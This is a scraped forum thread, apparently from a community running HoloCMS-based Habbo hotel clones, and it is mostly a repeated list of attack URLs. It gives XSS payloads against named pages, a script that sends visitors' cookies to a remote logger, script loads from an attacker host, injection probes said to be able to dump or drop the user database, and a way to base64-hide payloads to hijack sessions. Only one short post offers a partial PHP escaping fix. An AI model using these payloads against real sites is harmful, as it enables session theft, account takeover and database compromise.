- Joined
- Aug 9, 2007
- Messages
- 410
- Reaction score
- 13
Wow, NitroHabbz, you usually never release your fixes. Anyway, thanks for this. These noobs will pay for this, give me their IP's please 
IP Ban's dont stop them.
more???another one i found
now to work on a fix :smile:Code:meta http-equiv="refresh" content="0;URL=URL HERE" />
http://site.com/group_forum.php?searchString=<img+src=http://badsite.com/c99.gif+onload=alert(Uploaded)>
http://site.com/group_forum.php?searchString=<script/xss+src=http://badsite.com/xss.js?Uploaded></script>
http://site.com/group_forum.php?searchString=--><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
var http = new ActiveXObject("microsoft.xmlhttp"); http.open("GET","http://yoursite.com/log.php?this="+document.cookie,false); http.send(); return http.responseText;
http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
http://site.com/index.php?username="+onmouseover=alert(XSS)+&[email protected]&_login_remember_me=on
http://site.com/index.php?username=>"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>&[email protected]&_login_remember_me=on
http://site.com/tags.php?tag=%00'"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
http://site.com/index.php?registerCancel=true'+and+31337-31337='0
http://site.com/[email protected]+and+31337-31337=0&password=111-222-1933email@add
http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
[COLOR=#000080]<script/xss+src=http://badsite.com/xss.js?EXECUTED>[/COLOR][COLOR=#800000]</script>[/COLOR]#
PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
http://site.com/group_profile.php?searchString=data:text/html;base64,PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
lol Zorex has nothing to do with it...
Hebbo found this 1 year ago, so, lol
and to found this was easy as 123...
so dont talk crap! (And there were other exploits in the cms (the cms is a piece of crap, lol, becaus this i release HoloTracker))
heres a Patched XSS injection:
To view the content, you need to sign in or register
just try it![]()
Great, thanks for thisYeah... well wanna explain why my hotel seems to get redirected to "ragehotel.game-server.cc"
If hebbo was doing it... surely he'd redirect it to his crappy v30
anyway back ontopic.
Seems that "whoever" is doing it is injecting a meta refresh into config.php and other various files.
Working on a fix
more???
The main exploits that I found are as follows:
/group_forum.php XSS vulnerability under the POST variable.
This can be used to upload a PHP shell in the form of a .gif file as the script does not secure this kind of attack because the author did not design this for image uploading.Code:http://site.com/group_forum.php?searchString=<img+src=http://badsite.com/c99.gif+onload=alert(Uploaded)>
Another possible exploit in group_forum.php:
This can be used to RFI any Javascript source that you wish, this can be anything that can be done with Javascript, including a JS shell.Code:http://site.com/group_forum.php?searchString=<script/xss+src=http://badsite.com/xss.js?Uploaded></script>
This will just display a popup saying XSS, but can easily be edited to dump the cookies to a file on your server CHMOD 777. You can do this by inserting the following code:Code:http://site.com/group_forum.php?searchString=--><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
Would be easier to do that with the xss.js RFI exploit.Code:var http = new ActiveXObject("microsoft.xmlhttp"); http.open("GET","http://yoursite.com/log.php?this="+document.cookie,false); http.send(); return http.responseText;
/group_profile.php XSS exploits:
Like the Previous exploits, these ones are just simple Javascript injections.
/index.php XSS exploits:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
Can be used to craft a custom cookie.Code:http://site.com/index.php?username="+onmouseover=alert(XSS)+&[email protected]&_login_remember_me=on
/tags.php XSS exploits:Code:http://site.com/index.php?username=>"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>&[email protected]&_login_remember_me=on
This time on the GET variable. Same principle as the above exploits though.
/index.php Blind XPath Injection Exploits.Code:http://site.com/tags.php?tag=%00'"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
This exploit is the most damaging. I can be used to drop the entire users database or extract any part that you wish.
Vulnerable variables are registerCancel and username.
Code:http://site.com/index.php?registerCancel=true'+and+31337-31337='0
I will not advance on these exploits, if you really feel the need to do these exploits, you should be clever enough to work it out for yourself. I don't want kids running around exploiting every retro with this exploit.Code:http://site.com/[email protected]+and+31337-31337=0&password=111-222-1933email@add
How a hacker can hide these vulnerabilities from you:
Like all XSS, a popular method of disguising these exploits from you would be to base64 encode them. For example the following exploit:
Take this bit of the code:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
HTML :
Base64 encoded will be the following:Code:[COLOR=#000080]<script/xss+src=http://badsite.com/xss.js?EXECUTED>[/COLOR][COLOR=#800000]</script>[/COLOR]#
And simply replace that with added parametres so that the server knows that it is Base64:Code:PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
Just looks like a normal URL? Well imagine what would happen if a user PM'd this to you on your retro and it stole your session and he could then log in as you.Code:http://site.com/group_profile.php?searchString=data:text/html;base64,PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
more???
The main exploits that I found are as follows:
/group_forum.php XSS vulnerability under the POST variable.
This can be used to upload a PHP shell in the form of a .gif file as the script does not secure this kind of attack because the author did not design this for image uploading.Code:http://site.com/group_forum.php?searchString=<img+src=http://badsite.com/c99.gif+onload=alert(Uploaded)>
Another possible exploit in group_forum.php:
This can be used to RFI any Javascript source that you wish, this can be anything that can be done with Javascript, including a JS shell.Code:http://site.com/group_forum.php?searchString=<script/xss+src=http://badsite.com/xss.js?Uploaded></script>
This will just display a popup saying XSS, but can easily be edited to dump the cookies to a file on your server CHMOD 777. You can do this by inserting the following code:Code:http://site.com/group_forum.php?searchString=--><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
Would be easier to do that with the xss.js RFI exploit.Code:var http = new ActiveXObject("microsoft.xmlhttp"); http.open("GET","http://yoursite.com/log.php?this="+document.cookie,false); http.send(); return http.responseText;
/group_profile.php XSS exploits:
Like the Previous exploits, these ones are just simple Javascript injections.
/index.php XSS exploits:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
Can be used to craft a custom cookie.Code:http://site.com/index.php?username="+onmouseover=alert(XSS)+&[email protected]&_login_remember_me=on
/tags.php XSS exploits:Code:http://site.com/index.php?username=>"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>&[email protected]&_login_remember_me=on
This time on the GET variable. Same principle as the above exploits though.
/index.php Blind XPath Injection Exploits.Code:http://site.com/tags.php?tag=%00'"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
This exploit is the most damaging. I can be used to drop the entire users database or extract any part that you wish.
Vulnerable variables are registerCancel and username.
Code:http://site.com/index.php?registerCancel=true'+and+31337-31337='0
I will not advance on these exploits, if you really feel the need to do these exploits, you should be clever enough to work it out for yourself. I don't want kids running around exploiting every retro with this exploit.Code:http://site.com/[email protected]+and+31337-31337=0&password=111-222-1933email@add
How a hacker can hide these vulnerabilities from you:
Like all XSS, a popular method of disguising these exploits from you would be to base64 encode them. For example the following exploit:
Take this bit of the code:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
HTML :
Base64 encoded will be the following:Code:[COLOR=#000080]<script/xss+src=http://badsite.com/xss.js?EXECUTED>[/COLOR][COLOR=#800000]</script>[/COLOR]#
And simply replace that with added parametres so that the server knows that it is Base64:Code:PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
Just looks like a normal URL? Well imagine what would happen if a user PM'd this to you on your retro and it stole your session and he could then log in as you.Code:http://site.com/group_profile.php?searchString=data:text/html;base64,PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
This fix was done by cecer1, so all credits to him for this
simply replace the top code snippet with the bottom on me.php
This will stop people from redirecting your me.php to porn sites or to their own hotels
PHP:printf("<li class=\"%s room-occupancy-%s\" roomid=\"%s\"> <div title=\"Go to the room where this event is held\"> <span class=\"event-name\"><a href=\"./client.php?forwardId=2&roomId=%s\" onclick=\"HabboClient.roomForward(this, '%s', 'private'); return false;\">%s</a></span> <span class=\"event-owner\"> by <a href=\"/user_profile.php?id=%s\">%s</a></span> <p>%s (<span class=\"event-date\">%s</span>)</p> </div> </li>", $even, $room_fill, $row['roomid'], $row['roomid'], $row['roomid'], htmlspecialchars($row['name']), $row['userid'], $userrow['name'], $row['description'], $row['date']); printf("<li class=\"%s room-occupancy-%s\" roomid=\"%s\"> <div title=\"Go to the room where this event is held\"> <span class=\"event-name\"><a href=\"./client.php?forwardId=2&roomId=%s\" onclick=\"HabboClient.roomForward(this, '%s', 'private'); return false;\">%s</a></span> <span class=\"event-owner\"> by <a href=\"/user_profile.php?id=%s\">%s</a></span> <p>%s (<span class=\"event-date\">%s</span>)</p> </div> </li>", $even, $room_fill, $row['roomid'], $row['roomid'], $row['roomid'], htmlspecialchars($row['name']), $row['userid'], htmlspecialchars($userrow['name']), htmlspecialchars($row['description']), $row['date']);
I'm pretty sure I fixed all these in the new HoloCMS (I filter out all use input-able text now), so check back in a few months when the release is out.more???
The main exploits that I found are as follows:
/group_forum.php XSS vulnerability under the POST variable.
This can be used to upload a PHP shell in the form of a .gif file as the script does not secure this kind of attack because the author did not design this for image uploading.Code:http://site.com/group_forum.php?searchString=<img+src=http://badsite.com/c99.gif+onload=alert(Uploaded)>
Another possible exploit in group_forum.php:
This can be used to RFI any Javascript source that you wish, this can be anything that can be done with Javascript, including a JS shell.Code:http://site.com/group_forum.php?searchString=<script/xss+src=http://badsite.com/xss.js?Uploaded></script>
This will just display a popup saying XSS, but can easily be edited to dump the cookies to a file on your server CHMOD 777. You can do this by inserting the following code:Code:http://site.com/group_forum.php?searchString=--><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
Would be easier to do that with the xss.js RFI exploit.Code:var http = new ActiveXObject("microsoft.xmlhttp"); http.open("GET","http://yoursite.com/log.php?this="+document.cookie,false); http.send(); return http.responseText;
/group_profile.php XSS exploits:
Like the Previous exploits, these ones are just simple Javascript injections.
/index.php XSS exploits:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
Can be used to craft a custom cookie.Code:http://site.com/index.php?username="+onmouseover=alert(XSS)+&[email protected]&_login_remember_me=on
/tags.php XSS exploits:Code:http://site.com/index.php?username=>"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>&[email protected]&_login_remember_me=on
This time on the GET variable. Same principle as the above exploits though.
/index.php Blind XPath Injection Exploits.Code:http://site.com/tags.php?tag=%00'"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>
This exploit is the most damaging. I can be used to drop the entire users database or extract any part that you wish.
Vulnerable variables are registerCancel and username.
Code:http://site.com/index.php?registerCancel=true'+and+31337-31337='0I will not advance on these exploits, if you really feel the need to do these exploits, you should be clever enough to work it out for yourself. I don't want kids running around exploiting every retro with this exploit.Code:http://site.com/[email protected]+and+31337-31337=0&password=111-222-1933email@add
How a hacker can hide these vulnerabilities from you:
Like all XSS, a popular method of disguising these exploits from you would be to base64 encode them. For example the following exploit:
Take this bit of the code:Code:http://site.com/group_profile.php?searchString=<script/xss+src=http://badsite.com/xss.js?EXECUTED></script>
HTML :
Base64 encoded will be the following:Code:[COLOR=#000080]<script/xss+src=http://badsite.com/xss.js?EXECUTED>[/COLOR][COLOR=#800000]</script>[/COLOR]#
And simply replace that with added parametres so that the server knows that it is Base64:Code:PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+
Just looks like a normal URL? Well imagine what would happen if a user PM'd this to you on your retro and it stole your session and he could then log in as you.Code:http://site.com/group_profile.php?searchString=data:text/html;base64,PHNjcmlwdC94c3Mrc3JjPWh0dHA6Ly9iYWRzaXRlLmNvbS94c3MuanM/RVhFQ1VURUQ+PC9zY3JpcHQ+